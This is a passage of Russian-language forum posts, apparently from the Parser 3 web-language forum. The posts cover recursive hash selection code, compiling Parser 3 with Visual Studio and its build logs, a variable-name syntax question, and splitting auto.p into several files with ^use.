$var[b]\
\
$caller.$var[3]  # сделает в method1 -> $b[3]\
\
 # А если значение тоже динамическое?\
\
$var[a]\
$val[2]\
\
$caller.$var[$val]  # сделает в метод method1 -> $a[2]\
\
 # А вот дальше я не уверен за механику \"разыменовывания\" но она либо/либо\
 # по идее, если мы напишем\
\
$var[a]\
$val[b]\
\
$caller.$var[$$val]  # то оно превратится в method1 -> $a[$b] то есть в работу с обеими локальными переменными $a и $b метода1 т.к. $var = b, $$var = $b \
\
# Но это не точно(!) :) тут я во-первых подзабыл, во-вторых проверять лень\
# в-третьих не вникал даже в приведенные в треде примеры, поэтому второе \"либо\"\
# это тоже самое $$var - но разыменующееся в $b все же на стороне метода2,\
# или только потом все это исполнится в контексте метода1\
                \
Пусть знатоки поправят.\
\
[/code]\
\
А с $$name - всё довольно банально"
"85003","[quote]Второй метод работает со странностями. Если указать key:\
То в результате поедут ключи[/quote]\
\
Это из-за перекрытия имени переменной именем, переданным в аргументах.\
Исправляется более уникальными именами на ключ-значение:\
[code]\
^hash.foreach[key;value]{\
[/code]\
—>\
[code]\
^hash.foreach[_key;_value]{\
[/code]\
\
Пересечение всё равно не исключено, конечно, но уже менее вероятно.\
\
[quote]И вторая - если метод ничего не находит - он возвращает ключи с которых были хэши\
Я это вылечил проверкой что из рекурсии что-то пришло[/quote]\
\
Да, правильно.\
\
Исправленные методы:\
[code]\
@select[hash;key_name;value_name;condition;options][locals]\
$result[^hash::create[]]\
\
$recursive(^options.recursive.bool(false))\
$index(0)\
\
^hash.foreach[_key;_value]{\
	^if($_value is hash && $recursive){\
		^result.add[^select[$_value;$key_name;$value_name]{\
			$caller.$key_name[$$key_name]\
			$caller.$value_name[$$value_name]\
\
			$condition\
		}[$options]]\
	}{\
		$caller.$key_name[$_key]\
		$caller.$value_name[$_value]\
\
		^if($condition){\
			^result.add[^hash.at($index)[hash]]\
		}\
	}\
\
	^index.inc[]\
}\
\
\
@select[hash;key_name;value_name;condition;options][locals]\
$result[^hash::create[]]\
\
$recursive(^options.recursive.bool(false))\
$index(0)\
\
^hash.foreach[_key;_value]{\
	^if($_value is hash && $recursive){\
		$selected[^select[$_value;$key_name;$value_name]{\
			$caller.$key_name[$$key_name]\
			$caller.$value_name[$$value_name]\
\
			$condition\
		}[$options]]\
\
		^if($selected){\
			$selected[$.$_key[$selected]]\
		}\
	}{\
		$caller.$key_name[$_key]\
		$caller.$value_name[$_value]\
\
		^if($condition){\
			$selected[^hash.at($index)[hash]]\
		}\
	}\
\
	^result.add[$selected]\
\
	^index.inc[]\
}\
[/code]\
\
\
[quote]Эту конструкцию\
$caller.$key_name[$$key_name]\
Я не пойму наверное никогда[/quote]\
\
Распишу подробно, может кому пригодится.\
\
Это установка локальной переменной, только с хитростью для рекурсии.\
\
[color=\"#0055aa\"]$condition[/color] работает в контексте того метода, который вызвал [color=\"#0055aa\"]@select[/color] (в примере это [color=\"#0055aa\"]@main[][/color]).\
Значит [color=\"#0055aa\"]@select[/color]'у нужно с любого уровня рекурсии установить локальные переменные с ключом и значением в вызывающем методе.\
\
Например:\
[code]\
@main[]\
^select[\
	$.a[\
		$.b(2)\
	]\
][key;value]($value == 2)\
[/code]\
\
Для [color=\"#0055aa\"]$.a[/color] отработает первая ветка [color=\"#0055aa\"]if[/color]'а (для рекурсивного случая) и метод позовёт сам себя.\
Но предварительно мы оборачиваем [color=\"#0055aa\"]$condition[/color] в ещё один [color=\"#0055aa\"]junction[/color], контекстом которого будет первый [color=\"#0055aa\"]@select[/color] ([color=\"#0055aa\"]@main[] (0) —> @select[] (1)[/color]).\
\
Вот рекурсивный вызов для [color=\"#0055aa\"]$.b[/color] ([color=\"#0055aa\"]@main[] (0) —> @select[] (1) —> @select[] (2)[/color]).\
Значением не является хэш, рекурсии нет, отрабатывает вторая ветка [color=\"#0055aa\"]if[/color]'а для «плоского» случая.\
\
Сначала в [color=\"#0055aa\"]$caller[/color] ([color=\"#0055aa\"]@select[] (1)[/color]) мы установим локальные переменные:\
[code]\
$caller.$key_name[$_key]\
$caller.$value_name[$_value]\
[/code]\
\
Там будут [1]:\
[code]\
$key[b]\
$value[2]\
[/code]\
\
Но контекст [color=\"#0055aa\"]$condition[/color] — [color=\"#0055aa\"]@main[] (0)[/color], нужно пойти выше к нему, фактически в [color=\"#0055aa\"]$caller.caller[/color], и установить [color=\"#0055aa\"]key-value[/color] там, но ведь у нас рекурсия, а значит глубину мы не знаем.\
Код [color=\"#0055aa\"]$condition($value == 2)[/color] будет выполняться в контексте [color=\"#0055aa\"]@main[] (0)[/color], а там этих переменных ещё нет.\
\
Срабатывает [color=\"#0055aa\"]junction[/color]-обёртка из [color=\"#0055aa\"]@select[] (1)[/color]:\
[code]\
{\
	$caller.$key_name[$$key_name]\
	$caller.$value_name[$$value_name]\
	\
	$condition\
}\
[/code]\
\
Контекст [color=\"#0055aa\"]junction[/color]-обёртки — [color=\"#0055aa\"]@select[] (1)[/color], в котором есть нужные переменные (#1).\
А [color=\"#0055aa\"]$caller[/color] для [color=\"#0055aa\"]@select[] (1)[/color] — [color=\"#0055aa\"]@main[] (0)[/color], который нам и нужен.\
\
[code]\
$key_name[key]\
$value_name[value]\
\
$$key_name   —> $key\
$$value_name —> $value\
[/code]\
\
Таким образом, установим в [color=\"#0055aa\"]@main[][/color] (псевдокод, до точки — метод-контекст):\
[code]\
$main.key[$local.key]\
$main.value[$local.value]\
[/code]\
и получим в [color=\"#0055aa\"]@main[] (0)[/color]:\
[code]\
$key[b]\
$value[2]\
[/code]\
\
После чего, код [color=\"#0055aa\"]$condition($value == 2)[/color] в контексте [color=\"#0055aa\"]@main[] (0)[/color] успешно отработает и вернёт [color=\"#0055aa\"]true[/color].\
\
То есть, это комбинация трёх «трюков»:\
1. установки локальных переменных вызывающим методам через [color=\"#0055aa\"]$caller[/color] ([color=\"#0055aa\"]$caller.var[…][/color]);\
2. обёртка [color=\"#0055aa\"]junction-code[/color] с одним контекстом в [color=\"#0055aa\"]junction-code[/color] с другим контекстом ([color=\"#0055aa\"]{$code}[/color]);\
3. доступ к переменной по имени, находящемуся в переменной ([color=\"#0055aa\"]$$var[/color]).\
\
Пока писал, аж сам понял!"
"85004","Злючий код, конечно.\
Тем более, если развивать его потребности, то изобретется второй xpath, xnode, но парсере, а не встроенным классом на плюсах."
"85005","> то изобретется второй xpath\
\
В далёком 2006-м году, была идея сделать «XPath для хэша», но так идеей и осталась."
"85006","[quote]Исправляется более уникальными именами на ключ-значение:\
^hash.foreach[_key;_value]{\
[/quote]\
Имхо, тогда уж что-нибудь совсем маловероятное, типа _key_149571943;_value_149571943, т.к. _key и _value все таки применяются, а ошибку эту не зная ее природы фиг найдешь, если ключи совпали.\
\
 \
Во втором методе к сожалению потерялись ключи, в части случаев. Такой вызов\
[code]^json:string[^select[$hash][key;value]($key eq 'a')[\
	$.recursive(true)\
]][\
	$.indent(true)\
][/code]\
Вернет пустой хэш. Почему понятно, $condition в ветке с рекурсией мы не проверяем, а просто прокидываем вглубь. Поэтому ключи, в которых не значения, а вложенные хэши мы просто пропускаем. Если проверить $condition до рекурсии, то мы получим ошибку несовпадения типов $value, в общем случае\
[code]^json:string[^select[$hash][key;value]($key eq 'b' && $value == '3')[\
	$.recursive(true) \
]][\
	$.indent(true)\
]\
[/code]\
Упадет, когда в ключе окажется хэш, а \
[code][code]^json:string[^select[$hash][key;value]($key eq 'a' && $value.c == '1')[\
	$.recursive(true) ^rem{в этом случае, кстати, если условие выполнилось - рекурсировать нам не надо, а просто вернуть ветку полностью}\
]][\
	$.indent(true)\
][/code]\
наоборот, когда строка. Единственное что пока пришло в голову, завернуть ^if($condition) в try, и выполнять отдельную ветку"
"85007","^table::load[file][$.limit(10)] - бесценно :)"
"85008","[quot]Имхо, тогда уж что-нибудь совсем маловероятное, типа _key_149571943;_value_149571943, т.к. _key и _value все таки применяются, а ошибку эту не зная ее природы фиг найдешь, если ключи совпали.[/quot]\
\
Против этого должна помочь передача [color=\"#0055aa\"]$caller[/color]'а в опциях (ниже пример; это и в целом упрощает код).\
Тогда переменные не будут устанавливаться вызвавшему рекурсивно [color=\"#0055aa\"]@select[/color]'у, а сразу в метод, из которого был первый вызов.\
\
[quot]Почему понятно, $condition в ветке с рекурсией мы не проверяем, а просто прокидываем вглубь. Поэтому ключи, в которых не значения, а вложенные хэши мы просто пропускаем. Если проверить $condition до рекурсии, то мы получим ошибку несовпадения типов $value, в общем случае\
^json:string[^select[$hash][key;value]($key eq 'b' && $value == '3')\
[/quot]\
\
Условие [color=\"#0055aa\"]$value == '3'[/color] — странное.\
Логичнее [color=\"#0055aa\"]$value == 3[/color], и оно будет выполняться для вложенного хэша с тремя ключами.\
Либо [color=\"#0055aa\"]$value eq '3'[/color], которое завершится исключением при попадании в значение чего-либо, неприводимого к строке.\
\
[quot]Упадет, когда в ключе окажется хэш[/quot]\
\
В ключе не может быть хэша, только в значении.\
Ключ всегда строка.\
\
Если требуется проверять и ключ и значение, то да — сразу идти в рекурсию нельзя, сначала нужно проверить ключ.\
И да, в значение может попасть хэш.\
И не только он, а объект любого типа, в том числе объект пользовательского класса.\
\
В общем случае можно ограничить сравнение прямо в выражении:\
[code]($key eq 'b' && $value is string && $value eq '3')[/code]\
\
Но в целом лучше продумать требования к подобным случаям.\
Можно, к примеру, сбрасывать [color=\"#0055aa\"]$value[/color] в [color=\"#0055aa\"]void[/color] при попадании туда данных нежелательных типов.\
\
Пример исправленного метода «плоского» результата.\
[code]\
@select[hash;key_name;value_name;condition;options][locals]\
$result[^hash::create[]]\
\
$recursive(^options.recursive.bool(false))\
^if(def $options.caller){\
	$_caller[$options.caller]\
}{\
	$_caller[$caller.self]\
}\
\
$index(0)\
\
^hash.foreach[_key;_value]{\
	$_caller.$key_name[$_key]\
	$_caller.$value_name[$_value]\
\
	^if($condition){\
		^result.add[^hash.at($index)[hash]]\
	}($_value is hash && $recursive){\
		^result.add[^select[$_value;$key_name;$value_name]($condition)[\
			^hash::create[$options]\
			$.caller[$caller.self]\
		]]\
	}\
\
	^index.inc[]\
}\
[/code]\
\
P. S. А ещё в хэше могут быть рекурсивные ссылки на любой ключ, в том числе на сам хэш.\
Обход такого хэша приведёт к зацикливанию."
"85009","Не совсем понятно нужно ли это в языке вообще — у на сейчас вполне нормальный синтаксис для лукапов по хешу. Селекты по вложенным структурам сильно сомнительная операция в плане производительности. ;)\
\
Для плюсов есть реализации, но опять прийдется парсер джисона менять на какой-нибудь https://github.com/danielaparker/jsoncons\
\
p.s. Сейчас можно использовать jsonpath на уровне базы данных. Поддержка есть в MySQL и Postgres 12. Ну и в целом это хорошая идея — доставать из базы сразу отфильтрованные данные."
"85010","Но данные не всегда лежат в БД и бывают случаи, когда нужен отбор.\
Достаточно редкие, понятно.\
\
Тогда это был скорее академический интерес."
"85011","Оговорюсь, что в бытность пользования Парсером, воспользоваться ими мне не довелось, поэтому рассуждение чисто теоритическое.\
\
Но... коль уж прозвучал перенос таких операций на сторону БД,\
то чем хуже встроенные классы xdoc/xnode, реализующие полноценный XPath (судя по документации?)\
\
Вроде беглым взглядом там какие-то... и селекты и search-namespaces с аргументом в виде хеша.\
\
Понятно, что сам XML-вид нам нафиг не надо... \
Но сами то xdoc/xnode-объекты наверняка в хешоподобном виде в памяти храняться,\
и ожидается, что к ним реализованы более/менее эффективные алгоритмы выборки.\
\
Т.е. перефразируя - не проще ли обёртку написать, \
реализующую загрузку хеша в объект xdoc, и обратно (если нужен конечный результат).\
\
Т.е. будет уже не нативный объект hash, а \"перегруженный\" или отдельный класс,\
а ля metahash, (если мы уже четко решили что в этих структурах мы будем лукапить по деревьям), и который все основное время оперирует в формате xdoc/xnode,\
реализуя сподручные методы как у обычного hash\
\
Оверхед не должен быть таким уж критичным в 2019ом, тем более если прикинуть альтернативу в виде переноса на БД или полноценную реализацию для класса хеш средствами парсера... \
\
Впилить отдельно для json, вполне конструктивное предложение."
"85012","______key______ и _______value______\
\
:)"
"85014","А вообще нет ли инструкции где то по сборке вменяемой, скажем так, для не специалиста в этих вопросах"
"85015","Да особых сложностей нет, я тоже далеко не специалист.\
В https://www.parser.ru/docs/lang/compilewin.htm основное описано.\
\
[url=\"https://github.com/gzzz/parser/tree/master/bin/win/build\"]Дополнительно о сборке Парсера в Visual Studio[/url]."
"85016","В VS 2017 проект не открылся вот с такими матюками:\
\
[quote]\
В этой версии Visual Studio невозможно открыть следующие проекты. Возможно, типы проектов не установлены или данная версия Visual Studio не поддерживает их. \
Дополнительные сведения о включении поддержки этих типов проектов или о переносе ваших ресурсов иным образом см. сведения в \"Отчете о переносе\", который отображается после нажатия кнопки \"ОК\".\
	 - parser3, \"C:\\parser3-source\\parser3\\src\\targets\\cgi\\parser3.vcproj\"\
	 - ApacheModuleParser3, \"C:\\parser3-source\\parser3\\src\\targets\\apache\\ApacheModuleParser3.vcproj\"\
	 - ApacheModuleParser3Core, \"C:\\parser3-source\\parser3\\src\\targets\\apache\\ApacheModuleParser3Core.vcproj\"\
	 - classes, \"C:\\parser3-source\\parser3\\src\\classes\\classes.vcproj\"\
	 - cord, \"C:\\parser3-source\\parser3\\src\\lib\\cord\\cord.vcproj\"\
......\
......\
......\
\
\
Одностороннее обновление\
Visual Studio автоматически внесет функциональные изменения в следующие проекты, чтобы открыть их. После этого проекты уже нельзя будет открыть в версии Visual Studio, в которой они были созданы.\
	 - parser3, \"C:\\parser3-source\\parser3\\parser3.sln\"\
\
\
[/quote]\
Видимо нужна именно 2015?"
"85017","С каждой версией там что-нибудь отваливается.\
\
Проект раньше и в 2015 не открывался, пока Константин не поправил его пару лет назад."
"85018","[quote]Одностороннее обновление\
Visual Studio автоматически внесет функциональные изменения в следующие проекты, чтобы открыть их. После этого проекты уже нельзя будет открыть в версии Visual Studio, в которой они были созданы.\
- parser3, \"C:\\parser3-source\\parser3\\parser3.sln\"\
[/quote]\
\
Это нормально, пусть обновляет. Мы специально держим проект в младшей версии, поскольку обновление только в сторону увеличения. При первом открытии sln все проекты автоматически конвертируются."
"85019","в 15-й тоже обновился, но не собрался. Среди кучи варнингов два фатала:\
\
[quote]4>  Compiling grammar...\
4>compile.y : fatal error : invalid @ in skeleton: @\
......\
......\
14>  Generating Code...\
14>LINK : fatal error LNK1181: cannot open input file 'C:\\parser3-source\\parser3\\src\\main\\Release\\main.lib'\
========== Build: 12 succeeded, 2 failed, 0 up-to-date, 0 skipped ==========[/quote]"
"85021","VS2015 update 5 свежепоставленная\
Полный output:\
[quote]1>------ Rebuild All started: Project: classes, Configuration: Release Win32 ------\
2>------ Rebuild All started: Project: cord, Configuration: Release Win32 ------\
1>  Scanning classes/, creating classes.inc...\
2>  cordbscs.c\
2>  cordxtra.c\
2>  Generating Code...\
2>  cord.vcxproj -> C:\\parser3-source\\parser3\\src\\lib\\cord\\.\\Release\\cord.lib\
3>------ Rebuild All started: Project: ltdl, Configuration: Release Win32 ------\
3>  argz.c\
3>  loadlibrary.c\
3>  ltdl.c\
3>  lt_dlloader.c\
3>  lt_error.c\
3>  lt__alloc.c\
3>  lt__dirent.c\
3>  lt__strl.c\
3>  slist.c\
3>  Generating Code...\
3>C:\\Program Files (x86)\\MSBuild\\Microsoft.Cpp\\v4.0\\V140\\Microsoft.CppBuild.targets(1357,5): warning MSB8012: TargetPath(C:\\parser3-source\\parser3\\src\\lib\\ltdl\\.\\Release\\ltdl.lib) does not match the Library's OutputFile property value (C:\\parser3-source\\parser3\\src\\lib\\ltdl\\Release\\libltdl.lib). This may cause your project to build incorrectly. To correct this, please make sure that $(OutDir), $(TargetName) and $(TargetExt) property values match the value specified in %(Lib.OutputFile).\
3>C:\\Program Files (x86)\\MSBuild\\Microsoft.Cpp\\v4.0\\V140\\Microsoft.CppBuild.targets(1359,5): warning MSB8012: TargetName(ltdl) does not match the Library's OutputFile property value (libltdl). This may cause your project to build incorrectly. To correct this, please make sure that $(OutDir), $(TargetName) and $(TargetExt) property values match the value specified in %(Lib.OutputFile).\
3>  ltdl.vcxproj -> C:\\parser3-source\\parser3\\src\\lib\\ltdl\\.\\Release\\ltdl.lib\
4>------ Rebuild All started: Project: main, Configuration: Release Win32 ------\
4>  Compiling grammar...\
4>compile.y : fatal error : invalid @ in skeleton: @\
5>------ Rebuild All started: Project: md5, Configuration: Release Win32 ------\
5>  pa_md5c.c\
5>  pa_sha2.c\
5>  Generating Code...\
5>  md5.vcxproj -> C:\\parser3-source\\parser3\\src\\lib\\md5\\.\\Release\\md5.lib\
6>------ Rebuild All started: Project: punycode, Configuration: Release Win32 ------\
6>  pa_convert_utf.c\
6>  pa_idna.c\
6>  pa_punycode.c\
6>  Generating Code...\
6>  punycode.vcxproj -> C:\\parser3-source\\parser3\\src\\lib\\punycode\\.\\Release\\punycode.lib\
7>------ Rebuild All started: Project: types, Configuration: Release Win32 ------\
1>  bool.C\
1>  classes.C\
1>  curl.C\
1>  date.C\
1>  double.C\
1>  file.C\
1>  form.C\
1>  hash.C\
1>  hashfile.C\
1>  image.C\
1>  inet.C\
1>  int.C\
1>  json.C\
1>  mail.C\
1>  math.C\
1>  memcached.C\
1>  memory.C\
1>  op.C\
1>op.C(704): warning C4100: 'charsets': unreferenced formal parameter\
1>  reflection.C\
1>reflection.C(328): warning C4459: declaration of 'method_name' hides global declaration\
1>  reflection.C(20): note: see declaration of 'method_name'\
1>  regex.C\
7>  pa_value.C\
7>  pa_vclass.C\
7>  pa_vcookie.C\
7>  pa_vdate.C\
7>  pa_venv.C\
7>  pa_vfile.C\
1>  Generating Code...\
7>pa_vfile.C(57): warning C4189: 'prefetch': local variable is initialized but not referenced\
7>  pa_vform.C\
7>  pa_vhash.C\
7>  pa_vhashfile.C\
7>  pa_vimage.C\
7>  pa_vjunction.C\
7>  pa_vmail.C\
7>  pa_vmath.C\
7>  pa_vmemcached.C\
1>  Compiling...\
1>  response.C\
7>  pa_vmethod_frame.C\
1>  string.C\
7>  pa_vobject.C\
1>  table.C\
7>  pa_vregex.C\
1>C:\\Program Files (x86)\\Microsoft Visual Studio 14.0\\VC\\include\\stdint.h(54): warning C4005: 'INT32_MAX': macro redefinition\
1>  c:\\parser3-source\\parser3\\src\\include\\pa_types.h(45): note: see previous definition of 'INT32_MAX'\
1>C:\\Program Files (x86)\\Microsoft Visual Studio 14.0\\VC\\include\\stdint.h(58): warning C4005: 'UINT32_MAX': macro redefinition\
1>  c:\\parser3-source\\parser3\\src\\include\\pa_types.h(49): note: see previous definition of 'UINT32_MAX'\
7>  pa_vrequest.C\
7>  pa_vresponse.C\
1>  void.C\
7>  pa_vstateless_class.C\
1>  xdoc.C\
7>  Generating Code...\
1>  xnode.C\
1>  Generating Code...\
7>  Compiling...\
7>  pa_vstatus.C\
7>  pa_vstring.C\
7>  pa_vtable.C\
1>  classes.vcxproj -> C:\\parser3-source\\parser3\\src\\classes\\.\\Release\\classes.lib\
7>  pa_vvoid.C\
8>------ Rebuild All started: Project: sdbm, Configuration: Release Win32 ------\
8>  pa_file_io.C\
7>  pa_vxdoc.C\
8>  pa_strings.C\
8>  Generating Code...\
7>  pa_vxnode.C\
8>  sdbm.c\
7>  pa_wcontext.C\
8>  sdbm_hash.c\
8>  sdbm_lock.c\
8>  sdbm_pair.c\
7>  Generating Code...\
8>  Generating Code...\
8>  sdbm.vcxproj -> C:\\parser3-source\\parser3\\src\\lib\\sdbm\\Release\\sdbm.lib\
9>------ Rebuild All started: Project: gd, Configuration: Release Win32 ------\
9>  gif.C\
9>  gifio.C\
7>  types.vcxproj -> C:\\parser3-source\\parser3\\src\\types\\.\\Release\\types.lib\
10>------ Rebuild All started: Project: smtp, Configuration: Release Win32 ------\
9>  Generating Code...\
10>  comms.C\
10>comms.C(103): warning C4458: declaration of 'the_socket' hides class member\
10>  c:\\parser3-source\\parser3\\src\\lib\\smtp\\smtp.h(122): note: see declaration of 'SMTP::the_socket'\
10>comms.C(120): warning C4458: declaration of 'the_socket' hides class member\
10>  c:\\parser3-source\\parser3\\src\\lib\\smtp\\smtp.h(122): note: see declaration of 'SMTP::the_socket'\
10>comms.C(149): warning C4458: declaration of 'fds' hides class member\
10>  c:\\parser3-source\\parser3\\src\\lib\\smtp\\smtp.h(119): note: see declaration of 'SMTP::fds'\
10>comms.C(149): warning C4458: declaration of 'timeout' hides class member\
10>  c:\\parser3-source\\parser3\\src\\lib\\smtp\\smtp.h(120): note: see declaration of 'SMTP::timeout'\
10>  smtp.C\
10>  Generating Code...\
9>  gd.vcxproj -> C:\\parser3-source\\parser3\\src\\lib\\gd\\.\\Release\\gd.lib\
11>------ Rebuild All started: Project: json, Configuration: Release Win32 ------\
10>  smtp.vcxproj -> C:\\parser3-source\\parser3\\src\\lib\\smtp\\.\\Release\\smtp.lib\
12>------ Rebuild All started: Project: memcached, Configuration: Release Win32 ------\
11>  pa_json.C\
12>  pa_memcached.C\
11>  json.vcxproj -> C:\\parser3-source\\parser3\\src\\lib\\json\\.\\Release\\json.lib\
13>------ Rebuild All started: Project: pcre_internal, Configuration: Release Win32 ------\
13>  pa_pcre_chartables.c\
13>  pa_pcre_valid_utf8.c\
13>  Generating Code...\
12>  memcached.vcxproj -> C:\\parser3-source\\parser3\\src\\lib\\memcached\\.\\Release\\memcached.lib\
13>  pcre_internal.vcxproj -> C:\\parser3-source\\parser3\\src\\lib\\pcre\\.\\Release\\pcre_internal.lib\
14>------ Rebuild All started: Project: parser3, Configuration: Release Win32 ------\
14>  parser3.C\
14>parser3.C(379): warning C4459: declaration of 'request_info' hides global declaration\
14>  parser3.C(56): note: see declaration of 'request_info'\
14>parser3.C(489): warning C4459: declaration of 'request' hides global declaration\
14>  parser3.C(55): note: see declaration of 'request'\
14>parser3.C(274): warning C4505: 'log_signal': unreferenced local function has been removed\
14>  pa_threads.C\
14>  Generating Code...\
14>LINK : fatal error LNK1181: cannot open input file 'C:\\parser3-source\\parser3\\src\\main\\Release\\main.lib'\
========== Rebuild All: 12 succeeded, 2 failed, 0 skipped ==========\
[/quote]"
"85022","[code]@options[option1;option2;option3]\
$defined(\
	${option^eval(^math:random(3)+1)}\
)[/code]\
\
[b]option^eval(^math' class is undefined[/b]\
\
Заменяю квадратными - [b]'random' top(0) must be [1..2147483647][/b]\
\
Как тут получить $optionRND(1-3)? Можно нагородить огород с ифами, но это костыль. Что не так с третьей строкой?"
"85023","[code]\
@randomOption[*args]\
  $result[$args.[^math:random($args)]]\
[/code]"
"85024","что должен делать подобный метод (возвращать определённость случайного аргумента из трёх?), но работает так:\
[code]@options[option1;option2;option3]\
$random(^math:random(3) + 1)\
\
$result(def $option$random)[/code]\
\
Если нужно выбрать один из нескольких аргументов, то [url=https://www.parser.ru/forum/?id=85023]вариант Sumo[/url] отлично подойдёт."
"85025","То, что подход к задаче вычурный, это ясно. \
\
Но вот природа ошибки любопытна. Прчему всю левую часть синтаксис съел как имя класса (что-ли)? Технически то как будто ошибки нет..."
"85026","Cкобки {} - чтобы не \"подцепилось\" то, что за переменной - ${fname}.jpg например.\
В данном случае нужны скобки [], с ними код $[option^eval(^math:random(3)+1)] работает."
"85027","Это ошибка при компиляции файла грамматики языка compile.y внешним скриптом (win32/tools/cygwin/bin/bison.exe), возможно система не дает его запустить, у меня такое тоже бывало. Вообще этот процесс вызывается только если сказать Rebuild, при обычном Build не происходит. Но поскольку мы давно не компилируем грамматику под Windows, вообще исключил этот файл из сборки. То есть надо либо заново сделать checkout/обновить проект до VS2015, или в текущем в свойствах файла compile.y сказать \"Excluded from build\" yes во вкладке General, а файл compile.tab.C заново получить из репозитария."
"85028","... видимо интутивно ожидаемое \"жадное\" поведение, мол сначала видим ${...} и только после все, что внутри -- похоже не канает из-за особенностей и приоритетов разбора лексических единиц (чистые догадки, не более)"
"85029","...(начиная вспоминать), оно вообще так не работает и не должно, по синтаксису, точно"
"85030","Перескачал, пересобрал, скомпилировалось успешно.\
Осталась одна проблема - локально (win7x64) бинарник запускается, на одном серваке (2012x64) - запускается, а на другом (2003x32) - нет, пишет \"не является приложением win32\", хотя на нем же старые версии запускаются без проблем.\
\
В чем может быть дело?\
\
P.S. Сам спросил сам ответил. VS2015 похоже не поддерживает 2003 сервер\
P.S.S Поддерживает, но с доп. действиями:\
\
1. При установке/модфикации VS2015 надо добавить пункт \"Windows XP Support for C++\"\
2. В свойствах проекта parser3->Properties->General->Platform Toolset выбрать вместо \"Visual Studio 2015 (v140)\" -> \"Visual Studio 2015 - Windows XP (v140_xp)\"\
3. Ребилд"
"85031","Теперь другая проблема. Положил бинарник на место 3.4.5, через браузер корректно отзывается:\
site.ru/cgi-bin/parser3.exe\
[quote]Parser/3.4.6b (compiled on i386-pc-win32)[/quote]\
\
Но при попытке вызвать его в качестве обработчика, валится с ошибкой:\
[quote]/test/parser/: 'E:/test/parser/index.html' stat failed: Invalid argument (22), actual filename 'E:/test/parser/index.html' [file.missing][/quote]\
\
Что-то ему еще для счастья не хватает :)"
"85034","Не, не похоже. Это же Win, там с этим попроще. Ну и бинарник от 3.4.5 залитый ровно таким же образом ошибок не производит."
"85035","Вот так, чтобы взять бинарник 3.4.5 - работает, а если его заменить на бинарник 3.4.6b - не работает - такое не повторяется. Да и не с чего - в месте, где ошибка ничего не менялось. На днях обновлю Windows бинарник в ночных сборках - отпишусь, стоит с ним проверить."
"85036","Возможно это особенности такой вот хитрой сборки в VS2015 с тулсетом v140_xp и ему какой то определенной либы не хватило?\
Поставил на 2003 pgAdmin - он в своём составе инсталлировал какой то пакет Visual C++ 2015 Redistributable, какой не успел рассмотреть - и вуаля parser-3.4.6 заработал"
"85037","Если бы не хватало либ, он бы вот так тоже не открывался:\
\
[quote]Положил бинарник на место 3.4.5, через браузер корректно отзывается:\
site.ru/cgi-bin/parser3.exe\
Parser/3.4.6b (compiled on i386-pc-win32)[/quote]\
\
Да и ошибка парсерная, а значит он запустился."
"85041","https://www.parser.ru/forum/?id=85023\
\
И понятный и универсальный — будет работать с любым количеством аргументов, а не только с тремя."
"85043","Почему бы не использовать отрицание?\
\
[code]\
^if(!in '/house/'){\
  /* ваш код */\
}\
[/code]"
"85044","@use\
/master.p\
\
@auto[]\
^if(in '/section/'){^use[master.p]}"
"85046","[quote]Что я не так делаю?[/quote]\
Например, не написали, в чём выражается \"...не подцепляется\".\
\
Ошибка?\
Не подключается файл?\
Файл подключается, но код не выполняется?\
Не знаете как вызвать код из подключенно файла?\
И т.д."
"85048","Я не знаю, подцепляется ли файл, но код не выполняется :-).\
\
В моей картине мира, [b]цель такая:[/b] склонить парсер прочесть удалённый файл и использовать его код [b]на равных[/b] с кодом авто.п.\
\
То есть, без указаний всякий раз, что метод написан там-то, а не сям-то. Сайт сделан, я хочу теперь Ctrl-X-Ctrl-V куски кода в отдельные файлы для удобства дальнейшего разбора. Что, неизбежно придётся в каждом ^вызове[] метода писать, где искать именно его? Цель недостижима?"
"85049","Когда код в авто.п - всё хорошо. Когда выношу его в другой .п - сплошные четыреста четырки в случаях, когда обращение идёт к ^унесённым[]."
"85050","Вы хотя бы примерно напишите, какой код вы выносите в отдельный файл, как подключаете и, что ожидаете увидеть в итоге. Так будет проще разобраться в проблеме.\
\
Может в вашем случае лучше будет использовать ^file::load[] и ^process{строка}"
"85051","А какая, собственно, принципиальная разница, какой? Там 40 килобайт разных методов, включающих коннекты, фигекты, таблицы и всё остальное.\
\
Основной файл обращается к ним по принципу \"если мы в таком-то разделе\", они сами обращаются друг к другу... обычный парсерный код, короче.\
\
Просто парсеру его хорошо б читать сразу, если мы в этом разделе, или хотя бы в любом случае, наравне с auto.p.\
\
И искать запрашиваемые методы и там, и сям."
"85052","Если без принципиальных разниц (а тонкостей много), то общий подход такой:\
auto.p\
\
[code]@method_a[]\
...\
^method_b[]\
...\
^method_c[]\
...\
\
@method_b[]\
...\
@method_c[]\
...\
[/code]\
Стало\
\
auto.p\
\
[code]@method_a[]\
^use[method_b.p]\
^use[method_c.p]\
...\
^method_b[]\
...\
^method_c[]\
...\
[/code]\
\
method_b.p\
\
[code]@method_b[]\
...[/code]\
\
\
method_c.p\
[code]\
@method_c[]\
...[/code]"
"85053","При обращении к ^унесенным[] 404-х не бывает, а появляются ошибки в логе."
"85054","[code]@auto[]\
^use[/this.p;/that.p;/figuet.p]\
\
@first[]\
blah\
\
И всё!\
\
А парсер складывает для себя указанные файлы в один последовательный текст и [i]с ним[/i] работает.\
\
По тому же принципу, как .css-файлов пишется сколько влезет, просто [b]как админу удобно,[/b] а браузеру абсолютно безразлично, как они разбиты и разбиты ли.\
\
Почему нет?\
\
Если кому-то надо сделать сайт с постоянными разделами, блогом, магазином и админкой, почему нет возможности понаделать .p-файлов исходя только из того, как удобно писателю? Можно сделать одной простынёй, а можно пятью файлами [b]без[/b] дополнительных извращений и указаний всё время, где что, почему нет-то?"
"85055","Что за чушь?. Даже в CSS, который нифига не про программирование вы \"дополнительно указываете\" где и что с помощью link, причем в определенном порядке. А потом еще указываете, утрирую, вызовы в виде class=''. И это всего лишь декларации.\
\
Пишите как вам удобно, парсер никаких ограничений на вас не накладывает. Хотите такой use? Ну и напишите \
\
[code]@myuse[*args]\
^args.foreach[;v]{\
	^use[$v]\
}\
\
^myuse[1.p;2.p;3.p]\
[/code]"
"85056","Можно сказать\
\
[code]@USE\
/this.p\
/that.p\
/figuet.p\
[/code]\
\
Можно написать метод, который загрузит все .p файлы в директории, что-то вроде:\
\
[code]@use_dir[dir][list]\
$list[^file:list[$dir;\\.p^$]]\
^list.menu{ \
  ^if($list.name ne 'auto.p'){\
    ^use[$dir/$list.name] \
  }\
}\
[/code]"
"85057","Если уж так хочется (хотя, неясно зачем), напишите себе оператор:\
[code]\
@muse[*files]\
^files.foreach[;file]{\
	^use[$file]\
}\
[/code]\
\
